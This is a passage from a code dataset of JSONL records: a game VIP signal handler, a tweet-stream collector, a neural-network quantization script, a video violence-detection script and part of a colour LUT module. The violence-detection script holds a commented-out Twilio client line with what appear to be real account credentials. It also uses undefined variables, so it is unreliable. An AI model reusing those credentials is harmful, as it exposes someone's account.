Prison(char_id).vip_changed(new_vip)\n m = Mail(char_id)\n m.add(name=MAIL_VIP_CHANGED_TITLE, content=MAIL_VIP_CHANGED_CONTENT.format(new_vip))\n\n # 增加掠夺次数\n plunder_times_change_value = VIP_FUNCTION[new_vip].plunder - VIP_FUNCTION[old_vip].plunder\n if plunder_times_change_value:\n plunder = Plunder(char_id)\n plunder.change_current_plunder_times(plunder_times_change_value, allow_overflow=True)\n\n\nvip_changed_signal.connect(\n _vip_change,\n dispatch_uid='callbacks.signals.vip._vip_up'\n)\n\n","sub_path":"sanguo/callbacks/signals/vip.py","file_name":"vip.py","file_ext":"py","file_size_in_byte":913,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"534001974","text":"#!/usr/bin/python2\n# coding: utf-8\nfrom __future__ import unicode_literals\n\n# Tweets import script\n\nfrom tweepy_import import FilteredStream\n\nSIZE = 1000 # Number of tweets saved in a file\n\nclass MyFilteredStream(FilteredStream):\n\n def __init__(self):\n\n\t\t# Search criterias\n self.criterias = {\n \"track\": [\"Paris\", \"Bordeaux\"],\n \"locations\": [-0.6389644,44.8111222,-0.5334955,44.9163535],\n \"lang\": [\"fr\"]\n }\n FilteredStream.__init__(self, self.criterias, SIZE, \"../config.json\")\n self.tweets = []\n self.num_export = 0\n\n def action(self, tweets_list):\n self.tweets += tweets_list\n # print(\"Missing : \" + str(SIZE - len(self.tweets)))\n\n if len(self.tweets) >= SIZE:\n exp = []\n for i in range(0, SIZE):\n exp += [self.tweets.pop(0)]\n\n self.export('tweets-' + str(self.num_export) + '.json', exp)\n self.num_export += 1\n\nstream = MyFilteredStream()\nstream.stream()\n","sub_path":"vectorize_clustering/fetch.py","file_name":"fetch.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"218038341","text":"import os\r\nimport time\r\n\r\nimport torch\r\nimport torch.nn as nn\r\nimport torch.nn.functional as F\r\nimport numpy as np\r\nimport argparse\r\n\r\nfrom modeling.classification.MobileNetV2 import mobilenet_v2\r\nfrom torch.utils.data import DataLoader\r\nfrom torchvision import transforms, datasets\r\n\r\nfrom utils.relation import create_relation\r\nfrom dfq import cross_layer_equalization, bias_absorption, bias_correction, _quantize_error, clip_weight\r\nfrom utils.layer_transform import switch_layers, replace_op, restore_op, set_quant_minmax, merge_batchnorm, quantize_targ_layer#, LayerTransform\r\nfrom PyTransformer.transformers.torchTransformer import TorchTransformer\r\n\r\nfrom utils.quantize import QuantConv2d, QuantLinear, QuantNConv2d, QuantNLinear, QuantMeasure\r\n\r\ndef get_argument():\r\n parser = argparse.ArgumentParser()\r\n parser.add_argument(\"--quantize\", action='store_true')\r\n parser.add_argument(\"--equalize\", action='store_true')\r\n parser.add_argument(\"--correction\", action='store_true')\r\n parser.add_argument(\"--absorption\", action='store_true')\r\n parser.add_argument(\"--relu\", action='store_true')\r\n parser.add_argument(\"--clip_weight\", action='store_true')\r\n parser.add_argument(\"--trainable\", action='store_true')\r\n return parser.parse_args()\r\n\r\n\r\ndef inference_all(model):\r\n print(\"Start inference\")\r\n imagenet_dataset = datasets.ImageFolder('/home/jakc4103/Windows/Dec19/workspace/dataset/ILSVRC/Data/CLS-LOC/val', transforms.Compose([\r\n transforms.Resize(256),\r\n transforms.CenterCrop(224),\r\n transforms.ToTensor(),\r\n transforms.Normalize(mean=[0.485, 0.456, 0.406],\r\n std=[0.229, 0.224, 0.225]),\r\n ]))\r\n\r\n dataloader = DataLoader(imagenet_dataset, batch_size=256, shuffle=False, num_workers=4, pin_memory=True)\r\n\r\n num_correct = 0\r\n num_total = 0\r\n with torch.no_grad():\r\n for ii, sample in enumerate(dataloader):\r\n image, label = sample[0].cuda(), sample[1].numpy()\r\n logits = model(image)\r\n\r\n pred = torch.max(logits, 1)[1].cpu().numpy()\r\n \r\n num_correct += np.sum(pred == label)\r\n num_total += image.shape[0]\r\n # print(num_correct, num_total, num_correct/num_total)\r\n acc = num_correct / num_total\r\n return acc\r\n\r\n\r\ndef main():\r\n args = get_argument()\r\n assert args.relu or args.relu == args.equalize, 'must replace relu6 to relu while equalization'\r\n assert args.equalize or args.absorption == args.equalize, 'must use absorption with equalize'\r\n data = torch.ones((4, 3, 224, 224))#.cuda()\r\n\r\n model = mobilenet_v2('modeling/classification/mobilenetv2_1.0-f2a8633.pth.tar')\r\n model.eval()\r\n \r\n transformer = TorchTransformer()\r\n module_dict = {}\r\n if args.quantize:\r\n if args.trainable:\r\n module_dict[1] = [(nn.Conv2d, QuantConv2d), (nn.Linear, QuantLinear)]\r\n else:\r\n module_dict[1] = [(nn.Conv2d, QuantNConv2d), (nn.Linear, QuantNLinear)]\r\n \r\n if args.relu:\r\n module_dict[0] = [(torch.nn.ReLU6, torch.nn.ReLU)]\r\n\r\n # transformer.summary(model, data)\r\n # transformer.visualize(model, data, 'graph_cls', graph_size=120)\r\n\r\n model, transformer = switch_layers(model, transformer, data, module_dict, ignore_layer=[QuantMeasure], quant_op=args.quantize)\r\n\r\n graph = transformer.log.getGraph()\r\n bottoms = transformer.log.getBottoms()\r\n output_shape = transformer.log.getOutShapes()\r\n if args.quantize:\r\n if args.trainable:\r\n targ_layer = [QuantConv2d, QuantLinear]\r\n else:\r\n targ_layer = [QuantNConv2d, QuantNLinear]\r\n else:\r\n targ_layer = [nn.Conv2d, nn.Linear]\r\n\r\n model = merge_batchnorm(model, graph, bottoms, targ_layer)\r\n\r\n #create relations\r\n if args.equalize:\r\n res = create_relation(graph, bottoms, targ_layer)\r\n cross_layer_equalization(graph, res, targ_layer, visualize_state=False, converge_thres=2e-7)\r\n \r\n if args.absorption:\r\n bias_absorption(graph, res, bottoms, 3)\r\n \r\n if args.clip_weight:\r\n clip_weight(graph, range_clip=[-15, 15], targ_type=targ_layer)\r\n\r\n if args.correction:\r\n bias_correction(graph, bottoms, targ_layer)\r\n\r\n if args.quantize:\r\n if not args.trainable:\r\n graph = quantize_targ_layer(graph, targ_layer)\r\n set_quant_minmax(graph, bottoms, output_shape)\r\n \r\n model = model.cuda()\r\n model.eval()\r\n\r\n if args.quantize:\r\n replace_op()\r\n acc = inference_all(model)\r\n print(\"Acc: {}\".format(acc))\r\n if args.quantize:\r\n restore_op()\r\n\r\n\r\nif __name__ == '__main__':\r\n main()","sub_path":"main_cls.py","file_name":"main_cls.py","file_ext":"py","file_size_in_byte":4677,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"77878950","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nimport tensorflow as tf\nimport numpy as np\nfrom skimage.io import imread\nfrom skimage.transform import resize\nimport cv2\nimport numpy as np\nimport os\nfrom violencemodel import *\nfrom flask import Flask , request , jsonify , Response\nfrom PIL import Image\nfrom io import BytesIO\nimport time\nfrom skimage.transform import resize\nfrom tensorflow.keras.models import Sequential, Model, load_model\nfrom tensorflow.keras.layers import Dropout, Dense, Flatten, Input\nfrom tensorflow.keras.optimizers import Adam\nfrom tensorflow.keras.metrics import categorical_crossentropy\nfrom tensorflow.keras.preprocessing.image import ImageDataGenerator\nfrom tensorflow.keras import backend\nfrom werkzeug.utils import secure_filename\nfrom werkzeug.datastructures import FileStorage\nfrom collections import deque\nimport numpy as np\nimport argparse\nimport pickle\nimport cv2\nfrom twilio.rest import Client\n\nmodel1 = souhaiel_model(tf)\n# construct the argument parser and parse the arguments\nap = argparse.ArgumentParser()\nap.add_argument(\"-i\", \"--input\", required=True,\n\thelp=\"path to our input video\")\nap.add_argument(\"-o\", \"--output\", required=True,\n\thelp=\"path to our output video\")\nap.add_argument(\"-s\", \"--size\", type=int, default=128,\n\thelp=\"size of queue for averaging\")\nargs = vars(ap.parse_args())\n\n# load the trained model and label binarizer from disk\nprint(\"[INFO] loading model and label binarizer...\")\nmodel = model1\n# initialize the image mean for mean subtraction along with the\n# predictions queue\n#mean = np.array([123.68, 116.779, 103.939][::1], dtype=\"float32\")\nQ = deque(maxlen=args[\"size\"])\n\n# initialize the video stream, pointer to output video file, and\n# frame dimensions\nvs = cv2.VideoCapture(args[\"input\"])\nvc=cv2.VideoCapture('weeknd1.mp4')\nfps = vs.get(cv2.CAP_PROP_FPS)\nwriter = None\n(W, H) = (None, None)\n#client = Client(\"ACea4cecca40ebb1bf4594098d5cef4541\", \"32789639585561088d5937514694e115\") #update from twilio\nprelabel = ''\nok = 'Normal'\nokk='violence'\ni=0\nframes = np.zeros((30, 160, 160, 3), dtype=np.float)\ndatav = np.zeros((1, 30, 160, 160, 3), dtype=np.float)\nframe_counter=0\n\n# loop over frames from the video file stream\nwhile True:\n # read the next frame from the file\n (grabbed, frm) = vc.read()\n \n # if the frame was not grabbed, then we have reached the end\n # of the stream\n if not grabbed:\n break\n # if the frame dimensions are empty, grab them\n if W is None or H is None:\n (H, W) = frm.shape[:2]\n #framecount = framecount+1\n # clone the output frame, then convert it from BGR to RGB\n # ordering, resize the frame to a fixed 224x224, and then\n # perform mean subtraction\n output = frm.copy()\n while i < 30:\n rval, frame = vs.read()\n frame_counter +=1\n if frame_counter == vs.get(cv2.CAP_PROP_FRAME_COUNT):\n frame_counter = 0 #Or whatever as long as it is the same as next line\n vs.set(cv2.CAP_PROP_POS_FRAMES, 0)\n frame = resize(frame,(160,160,3))\n frame = np.expand_dims(frame,axis=0)\n if(np.max(frame)>1):\n frame = frame/255.0\n frames[i][:] = frame\n i +=1\n \n datav[0][:][:] =frames\n frames -= mean\n \n\n\t# make predictions on the frame and then update the predictions\n\t# queue\n #preds = model1.predict(datav)\n#\tprint('Preds = :', preds)\n\t\n#\ttotal = (preds[0]+ preds[1]+preds[2] + preds[3]+ preds[4]+preds[5])\n#\tmaximum = max(preds)\n#\trest = total - maximum\n \n#\tdiff = (.8*maximum) - (.1*rest)\n#\tprint('Difference of prob ', diff)\n#\tth = 100\n#\tif diff > .60:\n#\t\tth = diff\n#\tprint('Old threshold = ', th)\n \n \n prediction = preds.argmax(axis=0)\n Q.append(preds)\n\n\t# perform prediction averaging over the current history of\n\t# previous predictions\n results = np.array(Q).mean(axis=0)\n print('Results = ', results)\n maxprob = np.max(results)\n print('Maximun Probability = ', maxprob)\n i = np.argmax(results)\n rest = 1 - maxprob\n \n diff = (maxprob) - (rest)\n print('Difference of prob ', diff)\n th = 100\n if diff > .80:\n th = diff\n \n \n \n \n if (preds[0][1]) < th:\n text = \"Alert : {} - {:.2f}%\".format((ok), 100 - (maxprob * 100))\n cv2.putText(output, text, (35, 50), cv2.FONT_HERSHEY_SIMPLEX, 1.25, (0, 255, 0), 5)\n else:\n\t\t\n text = \"Alert : {} - {:.2f}%\".format((okk), maxprob * 100)\n cv2.putText(output, text, (35, 50), cv2.FONT_HERSHEY_SIMPLEX, 1.25, (0, 0, 255), 5) \n#\t\tif label != prelabel:\n#\t\t\tclient.messages.create(to=\"<+country code>< receiver mobile number>\", #for example +918255555555\n# from_=\"+180840084XX\", #sender number can be coped from twilo\n# body='\\n'+ str(text) +'\\n Satellite: ' + str(camid) + '\\n Orbit: ' + location)\n \n\n\n\t# check if the video writer is None\n if writer is None:\n\t # initialize our video writer\n fourcc = cv2.VideoWriter_fourcc(*\"MJPG\")\n writer = cv2.VideoWriter(args[\"output\"], fourcc, 27.0,\n\t\t\t(W, H), True)\n\n\t# write the output frame to disk\n writer.write(output)\n\n\t# show the output image\n cv2.imshow(\"Output\", output)\n key = cv2.waitKey(1) & 0xFF\n\n\t# if the `q` key was pressed, break from the loop\n if key == ord(\"q\"):\n break\n#print('Frame count', framecount)\n# release the file pointers\nprint(\"[INFO] cleaning up...\")\nwriter.release()\nvs.release()\nvc.release()\n","sub_path":"predict_video1.py","file_name":"predict_video1.py","file_ext":"py","file_size_in_byte":5507,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"252546368","text":"# -*- coding: utf-8 -*-\n\"\"\"\nLUT Processing\n==============\n\nDefines the classes and definitions handling *LUT* processing:\n\n- :class:`colour.LUT1D`\n- :class:`colour.LUT3x1D`\n- :class:`colour.LUT3D`\n- :class:`colour.LUTSequence`\n- :class:`colour.io.LUT_to_LUT`\n\"\"\"\n\nfrom __future__ import division, unicode_literals\n\nimport numpy as np\nimport re\nfrom abc import ABCMeta, abstractmethod\nfrom collections import MutableSequence\nfrom copy import deepcopy\n# pylint: disable=W0622\nfrom operator import add, mul, pow, sub, iadd, imul, ipow, isub\n\n# Python 3 compatibility.\ntry:\n from operator import div, idiv\nexcept ImportError:\n from operator import truediv, itruediv\n\n div = truediv\n idiv = itruediv\nfrom six import add_metaclass\n\nfrom colour.algebra import LinearInterpolator, table_interpolation_trilinear\nfrom colour.constants import DEFAULT_INT_DTYPE\nfrom colour.utilities import (as_float_array, is_numeric, is_iterable,\n is_string, linear_conversion, runtime_warning,\n tsplit, tstack, usage_warning)\n\n__author__ = 'Colour Developers'\n__copyright__ = 'Copyright (C) 2013-2019 - Colour Developers'\n__license__ = 'New BSD License - https://opensource.org/licenses/BSD-3-Clause'\n__maintainer__ = 'Colour Developers'\n__email__ = 'colour-science@googlegroups.com'\n__status__ = 'Production'\n\n__all__ = [\n 'AbstractLUT', 'LUT1D', 'LUT3x1D', 'LUT3D', 'LUT_to_LUT',\n 'AbstractLUTSequenceOperator', 'LUTSequence'\n]\n\n\n@add_metaclass(ABCMeta)\nclass AbstractLUT:\n \"\"\"\n Defines the base class for *LUT*.\n\n This is an :class:`ABCMeta` abstract class that must be inherited by\n sub-classes.\n\n Parameters\n ----------\n table : array_like, optional\n Underlying *LUT* table.\n name : unicode, optional\n *LUT* name.\n dimensions : int, optional\n *LUT* dimensions, typically, 1 for a 1D *LUT*, 2 for a 3x1D *LUT* and 3\n for a 3D *LUT*.\n domain : unicode, optional\n *LUT* domain, also used to define the instantiation time default table\n domain.\n size : int, optional\n *LUT* size, also used to define the instantiation time default table\n size.\n comments : array_like, optional\n Comments to add to the *LUT*.\n\n Attributes\n ----------\n table\n name\n dimensions\n domain\n size\n comments\n\n Methods\n -------\n __str__\n __repr__\n __eq__\n __ne__\n __add__\n __iadd__\n __sub__\n __isub__\n __mul__\n __imul__\n __div__\n __idiv__\n __pow__\n __ipow__\n arithmetical_operation\n is_domain_explicit\n linear_table\n apply\n copy\n as_LUT\n \"\"\"\n\n def __init__(self,\n table=None,\n name=None,\n dimensions=None,\n domain=None,\n size=None,\n comments=None):\n default_name = ('Unity {0}'.format(size)\n if table is None else '{0}'.format(id(self)))\n self._name = default_name\n self.name = name\n\n self._dimensions = dimensions\n\n # TODO: Re-enable when dropping Python 2.7.\n # pylint: disable=E1121\n self._table = self.linear_table(size, domain)\n self.table = table\n self._domain = None\n self.domain = domain\n self._comments = []\n self.comments = comments\n\n @property\n def table(self):\n \"\"\"\n Getter and setter property for the underlying *LUT* table.\n\n Parameters\n ----------\n value : unicode\n Value to set the the underlying *LUT* table with.\n\n Returns\n -------\n unicode\n Underlying *LUT* table.\n \"\"\"\n\n return self._table\n\n @table.setter\n def table(self, value):\n \"\"\"\n Setter for **self.table** property.\n \"\"\"\n\n if value is not None:\n # pylint: disable=E1121\n self._table = self._validate_table(value)\n\n @property\n def name(self):\n \"\"\"\n Getter and setter property for the *LUT* name.\n\n Parameters\n ----------\n value : unicode\n Value to set the *LUT* name with.\n\n Returns\n -------\n unicode\n *LUT* name.\n \"\"\"\n\n return self._name\n\n @name.setter\n def name(self, value):\n \"\"\"\n Setter for **self.name** property.\n \"\"\"\n\n if value is not None:\n assert is_string(value), (\n ('\"{0}\" attribute: \"{1}\" type is not \"str\" or \"unicode\"!'\n ).format('name', value))\n\n self._name = value\n\n @property\n def domain(self):\n \"\"\"\n Getter and setter property for the *LUT* domain.\n\n Parameters\n ----------\n value : unicode\n Value to set the *LUT* domain with.\n\n Returns\n -------\n unicode\n *LUT* domain.\n \"\"\"\n\n return self._domain\n\n @domain.setter\n def domain(self, value):\n \"\"\"\n Setter for **self.domain** property.\n \"\"\"\n\n if value is not None:\n # pylint: disable=E1121\n self._domain = self._validate_domain(value)\n\n @property\n def dimensions(self):\n \"\"\"\n Getter and setter property for the *LUT* dimensions.\n\n Returns\n -------\n unicode\n *LUT* dimensions.\n \"\"\"\n\n return self._dimensions\n\n @property\n def size(self):\n \"\"\"\n Getter property for the *LUT* size.\n\n Returns\n -------\n unicode\n *LUT* size.\n \"\"\"\n\n return self._table.shape[0]\n\n @property\n def comments(self):\n \"\"\"\n Getter and setter property for the *LUT* comments.\n\n Parameters\n ----------\n value : unicode\n Value to set the *LUT* comments with.\n\n Returns\n -------\n unicode\n *LUT* comments.\n \"\"\"\n\n return self._comments\n\n @comments.setter\n def comments(self, value):\n \"\"\"\n Setter for **self.comments** property.\n \"\"\"\n\n if value is not None:\n assert is_iterable(value), ((\n '\"{0}\" attribute: \"{1}\" must be an array like!').format(\n 'comments', value))\n self._comments = value\n\n def __str__(self):\n \"\"\"\n Returns a formatted string representation of the *LUT*.\n\n Returns\n -------\n unicode\n Formatted string representation.\n \"\"\"\n\n def _indent_array(a):\n \"\"\"\n Indents given array string representation.\n \"\"\"\n\n return str(a).replace(' [', ' ' * 14 + '[')\n\n comments = [\n 'Comment {0} : {1}'.format(str(i + 1).zfill(2), comment)\n for i, comment in enumerate(self.comments)\n ]\n\n return ('{0} - {1}\\n'\n '{2}\\n\\n'\n 'Dimensions : {3}\\n'\n 'Domain : {4}\\n'\n 'Size : {5!s}{6}').format(\n self.__class__.__name__, self.name,\n '-' * (len(self.__class__.__name__) + 3 + len(self.name)),\n self.dimensions, _indent_array(self.domain),\n str(self.table.shape).replace(\"L\", \"\"), '\\n{0}'.format(\n '\\n'.join(comments)) if comments else '')\n\n def __repr__(self):\n \"\"\"\n Returns an evaluable string representation of the *LUT*.\n\n Returns\n -------\n unicode\n Evaluable string representation.\n \"\"\"\n\n representation = repr(self.table)\n representation = representation.replace('array',\n self.__class__.__name__)\n representation = representation.replace(\n ' [',\n '{0}['.format(' ' * (len(self.__class__.__name__) + 2)))\n\n domain = repr(self.domain).replace('array(', '').replace(')', '')\n domain = domain.replace(\n ' [',\n '{0}['.format(' ' * (len(self.__class__.__name__) + 9)))\n\n indentation = ' ' * (len(self.__class__.__name__) + 1)\n representation = ('{0},\\n'\n '{1}name=\\'{2}\\',\\n'\n '{1}domain={3}{4})').format(\n representation[:-1], indentation, self.name,\n domain, ',\\n{0}comments={1}'.format(\n indentation, repr(self.comments))\n if self.comments else '')\n\n return representation\n\n def __eq__(self, other):\n \"\"\"\n Returns whether the *LUT* is equal to given other object.\n\n Parameters\n ----------\n other : object\n Object to test whether it is equal to the *LUT*.\n\n Returns\n -------\n bool\n Is given object equal to the *LUT*.\n \"\"\"\n\n if isinstance(other, AbstractLUT):\n if all([\n np.array_equal(self.table, other.table),\n np.array_equal(self.domain, other.domain)\n ]):\n return True\n\n return False\n\n def __ne__(self, other):\n \"\"\"\n Returns whether the *LUT* is not equal to given other object.\n\n Parameters\n ----------\n other : object\n Object to test whether it is not equal to the *LUT*.\n\n Returns\n -------\n bool\n Is given object not equal to the *LUT*.\n \"\"\"\n\n return not (self == other)\n\n def __add__(self, a):\n \"\"\"\n Implements support for addition.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to add.\n\n Returns\n -------\n AbstractLUT\n Variable added *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '+')\n\n def __iadd__(self, a):\n \"\"\"\n Implements support for in-place addition.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to add in-place.\n\n Returns\n -------\n AbstractLUT\n In-place variable added *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '+', True)\n\n def __sub__(self, a):\n \"\"\"\n Implements support for subtraction.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to subtract.\n\n Returns\n -------\n AbstractLUT\n Variable subtracted *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '-')\n\n def __isub__(self, a):\n \"\"\"\n Implements support for in-place subtraction.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to subtract in-place.\n\n Returns\n -------\n AbstractLUT\n In-place variable subtracted *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '-', True)\n\n def __mul__(self, a):\n \"\"\"\n Implements support for multiplication.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to multiply by.\n\n Returns\n -------\n AbstractLUT\n Variable multiplied *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '*')\n\n def __imul__(self, a):\n \"\"\"\n Implements support for in-place multiplication.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to multiply by in-place.\n\n Returns\n -------\n AbstractLUT\n In-place variable multiplied *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '*', True)\n\n def __div__(self, a):\n \"\"\"\n Implements support for division.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to divide by.\n\n Returns\n -------\n AbstractLUT\n Variable divided *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '/')\n\n def __idiv__(self, a):\n \"\"\"\n Implements support for in-place division.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to divide by in-place.\n\n Returns\n -------\n AbstractLUT\n In-place variable divided *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '/', True)\n\n __itruediv__ = __idiv__\n __truediv__ = __div__\n\n def __pow__(self, a):\n \"\"\"\n Implements support for exponentiation.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to exponentiate by.\n\n Returns\n -------\n AbstractLUT\n Variable exponentiated *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '**')\n\n def __ipow__(self, a):\n \"\"\"\n Implements support for in-place exponentiation.\n\n Parameters\n ----------\n a : numeric or array_like or AbstractLUT\n :math:`a` variable to exponentiate by in-place.\n\n Returns\n -------\n AbstractLUT\n In-place variable exponentiated *LUT*.\n \"\"\"\n\n return self.arithmetical_operation(a, '**', True)\n\n def arithmetical_operation(self, a, operation, in_place=False):\n \"\"\"\n Performs given arithmetical operation with :math:`a` operand, the\n operation can be either performed on a copy or in-place, must be\n reimplemented by sub-classes.\n\n Parameters\n ----------\n a : numeric or ndarray or AbstractLUT\n Operand.\n operation : object\n Operation to perform.\n in_place : bool, optional\n Operation happens in place.\n\n Returns\n -------\n AbstractLUT\n *LUT*.\n \"\"\"\n\n operation, ioperator = {\n '+': (add, iadd),\n '-': (sub, isub),\n '*': (mul, imul),\n '/': (div, idiv),\n '**': (pow, ipow)\n }[operation]\n\n if in_place:\n if isinstance(a, AbstractLUT):\n operand = a.table\n else:\n operand = as_float_array(a)\n\n self.table = ioperator(self.table, operand)\n\n return self\n else:\n copy = ioperator(self.copy(), a)\n\n return copy\n\n @abstractmethod\n def _validate_table(self, table):\n \"\"\"\n Validates given table according to *LUT* dimensions.\n\n Parameters\n ----------\n table : array_like\n Table to validate.\n\n Returns\n -------\n ndarray\n Validated table as a :class:`ndarray` instance.\n \"\"\"\n\n pass\n\n @abstractmethod\n def _validate_domain(self, domain):\n \"\"\"\n Validates given domain according to *LUT* dimensions.\n\n Parameters\n ----------\n domain : array_like\n Domain to validate.\n\n Returns\n -------\n ndarray\n Validated domain as a :class:`ndarray` instance.\n \"\"\"\n\n pass\n\n @abstractmethod\n def is_domain_explicit(self):\n \"\"\"\n Returns whether the *LUT* domain is explicit (or implicit).\n\n An implicit domain is defined by its shape only::\n\n [[0 1]\n [0 1]\n [0 1]]\n\n While an explicit domain defines every single discrete samples::\n\n [[0.0 0.0 0.0]\n [0.1 0.1 0.1]\n [0.2 0.2 0.2]\n [0.3 0.3 0.3]\n [0.4 0.4 0.4]\n [0.8 0.8 0.8]\n [1.0 1.0 1.0]]\n\n Returns\n -------\n bool\n Is *LUT* domain explicit.\n \"\"\"\n\n pass\n\n @abstractmethod\n def linear_table(size=None, domain=None):\n \"\"\"\n Returns a linear table of given size according to *LUT* dimensions.\n\n Parameters\n ----------\n size : int or array_like, optional\n Expected table size, for a 1D *LUT*, the number of output samples\n :math:`n` is equal to ``size``, for a 3x1D *LUT* :math:`n` is equal\n to ``size * 3`` or ``size[0] + size[1] + size[2]``, for a 3D *LUT*\n :math:`n` is equal to ``size**3 * 3`` or\n ``size[0] * size[1] * size[2] * 3``.\n domain : array_like, optional\n Domain of the table.\n\n Returns\n -------\n ndarray\n Linear table.\n \"\"\"\n\n pass\n\n @abstractmethod\n def apply(self, RGB, interpolator, interpolator_args):\n \"\"\"\n Applies the *LUT* to given *RGB* colourspace array using given method.\n\n Parameters\n ----------\n RGB : array_like\n *RGB* colourspace array to apply the *LUT* onto.\n interpolator : object, optional\n Interpolator class type or object to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when instantiating or calling the interpolating\n function.\n\n Returns\n -------\n ndarray\n Interpolated *RGB* colourspace array.\n \"\"\"\n\n pass\n\n def copy(self):\n \"\"\"\n Returns a copy of the sub-class instance.\n\n Returns\n -------\n AbstractLUT\n *LUT* copy.\n \"\"\"\n\n return deepcopy(self)\n\n @abstractmethod\n def as_LUT(self, cls, force_conversion, **kwargs):\n \"\"\"\n Converts the *LUT* to given ``cls`` class instance.\n\n Parameters\n ----------\n cls : LUT1D or LUT3x1D or LUT3D\n *LUT* class instance.\n force_conversion : bool, optional\n Whether to force the conversion as it might be destructive.\n\n Other Parameters\n ----------------\n interpolator : object, optional\n Interpolator class type to use as interpolating function.\n interpolator_args : dict_like, optional\n Arguments to use when instantiating the interpolating function.\n size : int, optional\n Expected table size in case of an upcast to or a downcast from a\n :class:`LUT3D` class instance.\n\n Returns\n -------\n LUT1D or LUT3x1D or LUT3D\n Converted *LUT* class instance.\n\n Warning\n -------\n Some conversions are destructive and raise a :class:`ValueError`\n exception by default.\n\n Raises\n ------\n ValueError\n If the conversion is destructive.\n \"\"\"\n\n pass\n\n\nclass LUT1D(AbstractLUT):\n \"\"\"\n Defines the base class for a 1D *LUT*.\n\n Parameters\n ----------\n table : array_like, optional\n Underlying *LUT* table.\n name : unicode, optional\n *LUT* name.\n domain : unicode, optional\n *LUT* domain, also used to define the instantiation time default table\n domain.\n size : int, optional\n Size of the instantiation time default table.\n comments : array_like, optional\n Comments to add to the *LUT*.\n\n Methods\n -------\n is_domain_explicit\n linear_table\n apply\n as_LUT\n\n Examples\n --------\n Instantiating a unity LUT with a table with 16 elements:\n\n >>> print(LUT1D(size=16))\n LUT1D - Unity 16\n ----------------\n \n Dimensions : 1\n Domain : [ 0. 1.]\n Size : (16,)\n\n Instantiating a LUT using a custom table with 16 elements:\n\n >>> print(LUT1D(LUT1D.linear_table(16) ** (1 / 2.2))) # doctest: +ELLIPSIS\n LUT1D - ...\n --------...\n \n Dimensions : 1\n Domain : [ 0. 1.]\n Size : (16,)\n\n Instantiating a LUT using a custom table with 16 elements, custom name,\n custom domain and comments:\n\n >>> from colour.algebra import spow\n >>> domain = np.array([-0.1, 1.5])\n >>> print(LUT1D(\n ... spow(LUT1D.linear_table(16, domain), 1 / 2.2),\n ... 'My LUT',\n ... domain,\n ... comments=['A first comment.', 'A second comment.']))\n LUT1D - My LUT\n --------------\n \n Dimensions : 1\n Domain : [-0.1 1.5]\n Size : (16,)\n Comment 01 : A first comment.\n Comment 02 : A second comment.\n \"\"\"\n\n def __init__(self,\n table=None,\n name=None,\n domain=None,\n size=10,\n comments=None):\n if domain is None:\n domain = np.array([0, 1])\n\n super(LUT1D, self).__init__(table, name, 1, domain, size, comments)\n\n def _validate_table(self, table):\n \"\"\"\n Validates given table is a 1D array.\n\n Parameters\n ----------\n table : array_like\n Table to validate.\n\n Returns\n -------\n ndarray\n Validated table as a :class:`ndarray` instance.\n \"\"\"\n\n table = as_float_array(table)\n\n assert len(table.shape) == 1, 'The table must be a 1D array!'\n\n return table\n\n def _validate_domain(self, domain):\n \"\"\"\n Validates given domain.\n\n Parameters\n ----------\n domain : array_like\n Domain to validate.\n\n Returns\n -------\n ndarray\n Validated domain as a :class:`ndarray` instance.\n \"\"\"\n\n domain = as_float_array(domain)\n\n assert len(domain.shape) == 1, 'The domain must be a 1D array!'\n\n assert domain.shape[0] >= 2, (\n 'The domain column count must be equal or greater than 2!')\n\n return domain\n\n def is_domain_explicit(self):\n \"\"\"\n Returns whether the *LUT* domain is explicit (or implicit).\n\n An implicit domain is defined by its shape only::\n\n [0 1]\n\n While an explicit domain defines every single discrete samples::\n\n [0.0 0.1 0.2 0.4 0.8 1.0]\n\n Returns\n -------\n bool\n Is *LUT* domain explicit.\n\n Examples\n --------\n >>> LUT1D().is_domain_explicit()\n False\n >>> table = domain = np.linspace(0, 1, 10)\n >>> LUT1D(table, domain=domain).is_domain_explicit()\n True\n \"\"\"\n\n return len(self.domain) != 2\n\n # pylint: disable=W0221\n @staticmethod\n def linear_table(size=10, domain=np.array([0, 1])):\n \"\"\"\n Returns a linear table, the number of output samples :math:`n` is equal\n to ``size``.\n\n Parameters\n ----------\n size : int, optional\n Expected table size.\n domain : array_like, optional\n Domain of the table.\n\n Returns\n -------\n ndarray\n Linear table with ``size`` samples.\n\n Examples\n --------\n >>> LUT1D.linear_table(5, np.array([-0.1, 1.5]))\n array([-0.1, 0.3, 0.7, 1.1, 1.5])\n >>> LUT1D.linear_table(domain=np.linspace(-0.1, 1.5, 5))\n array([-0.1, 0.3, 0.7, 1.1, 1.5])\n \"\"\"\n\n domain = as_float_array(domain)\n\n if len(domain) != 2:\n return domain\n else:\n assert is_numeric(size), 'Linear table size must be a 